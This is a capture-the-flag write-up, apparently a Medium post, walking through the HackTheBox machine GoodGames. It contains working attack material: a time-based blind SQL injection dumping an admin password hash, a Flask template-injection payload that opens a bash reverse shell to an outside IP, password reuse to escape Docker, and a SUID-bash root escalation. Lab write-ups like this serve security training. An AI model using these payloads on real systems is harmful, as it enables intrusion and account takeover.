Hackthebox Writeup
Docker
Sql Injection
Ssti
Password Cracking

GoodGames — HackTheBox

CTFMania

4 min readJun 8, 2024

Foothold

We start as usual with an Nmap scan

nmap 10.10.11.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-06 22:45 CEST
Nmap scan report for 10.10.11.130 (10.10.11.130)
Host is up (0.040s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds

There is only HTTP service running on, so lets jump in

We do a directory fuzzing to find something

dirsearch -u http://goodgames.htb

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/chry/Downloads/reports/http_goodgames.htb/_24-06-06_22-59-46.txt

Target: http://goodgames.htb/

[22:59:46] Starting: 
[22:59:57] 200 -    6KB - /blog
[23:00:07] 200 -    9KB - /login
[23:00:07] 302 -  208B  - /logout  ->  http://goodgames.htb/
[23:00:12] 200 -    9KB - /profile
[23:00:14] 403 -  278B  - /server-status
[23:00:14] 403 -  278B  - /server-status/
[23:00:15] 200 -   33KB - /signup

Task Completed

The login/signup pages maybe can be usefull

With the POST request done with the log-in we can do an SQL Injection scan with SQLMap to dump the data inside the database

sqlmap -r req.txt --batch --dump -D main -T user --columns
        ___
       H
 _ _[']___ _ ___  {1.8.2#stable}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:21:10 /2024-06-07/

[16:21:10] [INFO] parsing HTTP request from 'req.txt'
[16:21:11] [INFO] resuming back-end DBMS 'mysql' 
[16:21:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=fghdf@gmail.com' AND (SELECT 2915 FROM (SELECT(SLEEP(5)))wxMr) AND 'QjND'='QjND&password=dgffdgdf
---

[16:27:58] [INFO] resumed: 3
[16:27:58] [INFO] resumed: admin
[16:27:58] [INFO] resumed: admin@goodgames.htb
[16:27:58] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                   
1
[16:28:08] [INFO] retrieved: 
[16:28:12] [INFO] adjusting time delay to 1 second due to good response times
2b22337f218b2d82dfc3b6f77e7cb8ec

admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec

We retrieved the credentials to log-in on the website.

Get CTFMania’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Unfortunately the password is hashed, but we easily crack it with Crackstation

Once logged-in we see an engine icon on the website which redirects in another vhost, which is internal-administration.goodgames.htb

The credetials to log-in are the same as the precedent website, but instead of the admin@goodgames.htb we put admin as username

Inside the page we see a panel with an option which allows us to change informations about our account. We can try to put a payload like these to see if the form is vulnerable to a Server Side Template Injection

We notice that the web server is flask, so we use the following payload to spawn a reverse shell

{{cycler.__init__.__globals__.os.popen(‘bash -c “bash -i >& /dev/tcp/10.10.14.20/4444 0>&1”’).read()}}

Privilege Escalation

And here we are. We got a shell as root but inside a Docker. To escape this one we just have to log-in via SSH on the other local ip, which is 172.19.0.1

By using the same password as the website one and the user found in /home/ folder we are able to log-in on the effective machine as augustus.

We notice that between the Docker and the effective machine there is a folder shared, which is /home/augustus. What if we put the bash binary as root with run permissions to become root on the other machine?

We transfer our bash binary in the docker machine, we give the permissions and we execute it on the effective machine by putting the -p parameter to run the binary as the ower of the following one (root)